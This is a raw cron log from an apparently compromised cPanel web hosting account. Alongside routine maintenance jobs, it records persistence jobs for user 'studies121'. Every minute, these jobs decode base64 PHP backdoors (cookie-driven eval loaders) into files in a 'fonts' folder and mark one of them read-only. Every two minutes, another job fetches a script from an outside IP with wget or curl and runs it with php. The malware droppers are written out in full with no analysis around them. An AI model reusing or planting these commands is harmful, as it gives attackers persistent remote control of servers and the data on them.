Sep  3 11:36:01 ip-184-168-122-23 CROND[30044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:36:01 ip-184-168-122-23 CROND[30046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:36:01 ip-184-168-122-23 CROND[30045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:37:01 ip-184-168-122-23 CROND[30161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:37:01 ip-184-168-122-23 CROND[30163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:37:01 ip-184-168-122-23 CROND[30164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:37:01 ip-184-168-122-23 CROND[30165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:38:01 ip-184-168-122-23 CROND[30263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:38:01 ip-184-168-122-23 CROND[30264]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:38:01 ip-184-168-122-23 CROND[30266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:38:01 ip-184-168-122-23 CROND[30268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:38:01 ip-184-168-122-23 CROND[30269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:39:01 ip-184-168-122-23 CROND[30376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:39:01 ip-184-168-122-23 CROND[30377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:39:01 ip-184-168-122-23 CROND[30379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:39:01 ip-184-168-122-23 CROND[30382]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 11:39:01 ip-184-168-122-23 CROND[30381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:40:01 ip-184-168-122-23 CROND[30587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:40:01 ip-184-168-122-23 CROND[30588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:40:01 ip-184-168-122-23 CROND[30590]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:40:01 ip-184-168-122-23 CROND[30593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:40:01 ip-184-168-122-23 CROND[30596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:40:01 ip-184-168-122-23 CROND[30595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:40:01 ip-184-168-122-23 CROND[30600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:40:01 ip-184-168-122-23 CROND[30601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:41:01 ip-184-168-122-23 CROND[30716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:41:01 ip-184-168-122-23 CROND[30717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:41:01 ip-184-168-122-23 CROND[30719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:41:01 ip-184-168-122-23 CROND[30718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:42:01 ip-184-168-122-23 CROND[30806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:42:02 ip-184-168-122-23 CROND[30808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:42:02 ip-184-168-122-23 CROND[30811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:42:02 ip-184-168-122-23 CROND[30813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:42:02 ip-184-168-122-23 CROND[30814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:43:01 ip-184-168-122-23 CROND[30953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:43:01 ip-184-168-122-23 CROND[30954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:43:01 ip-184-168-122-23 CROND[30958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:43:01 ip-184-168-122-23 CROND[30956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:44:01 ip-184-168-122-23 CROND[31084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:44:01 ip-184-168-122-23 CROND[31085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:44:01 ip-184-168-122-23 CROND[31089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:44:01 ip-184-168-122-23 CROND[31090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:44:01 ip-184-168-122-23 CROND[31092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:45:01 ip-184-168-122-23 CROND[31307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:45:01 ip-184-168-122-23 CROND[31310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:45:01 ip-184-168-122-23 CROND[31311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:45:01 ip-184-168-122-23 CROND[31309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:45:01 ip-184-168-122-23 CROND[31314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:45:01 ip-184-168-122-23 CROND[31315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:46:01 ip-184-168-122-23 CROND[31420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:46:01 ip-184-168-122-23 CROND[31422]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 11:46:01 ip-184-168-122-23 CROND[31425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:46:01 ip-184-168-122-23 CROND[31427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:46:01 ip-184-168-122-23 CROND[31426]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 11:46:01 ip-184-168-122-23 CROND[31428]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 11:46:01 ip-184-168-122-23 CROND[31429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:47:01 ip-184-168-122-23 CROND[31528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:47:01 ip-184-168-122-23 CROND[31529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:47:01 ip-184-168-122-23 CROND[31531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 11:47:01 ip-184-168-122-23 CROND[31533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:48:01 ip-184-168-122-23 CROND[31612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 11:48:01 ip-184-168-122-23 CROND[31614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:48:01 ip-184-168-122-23 CROND[31615]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
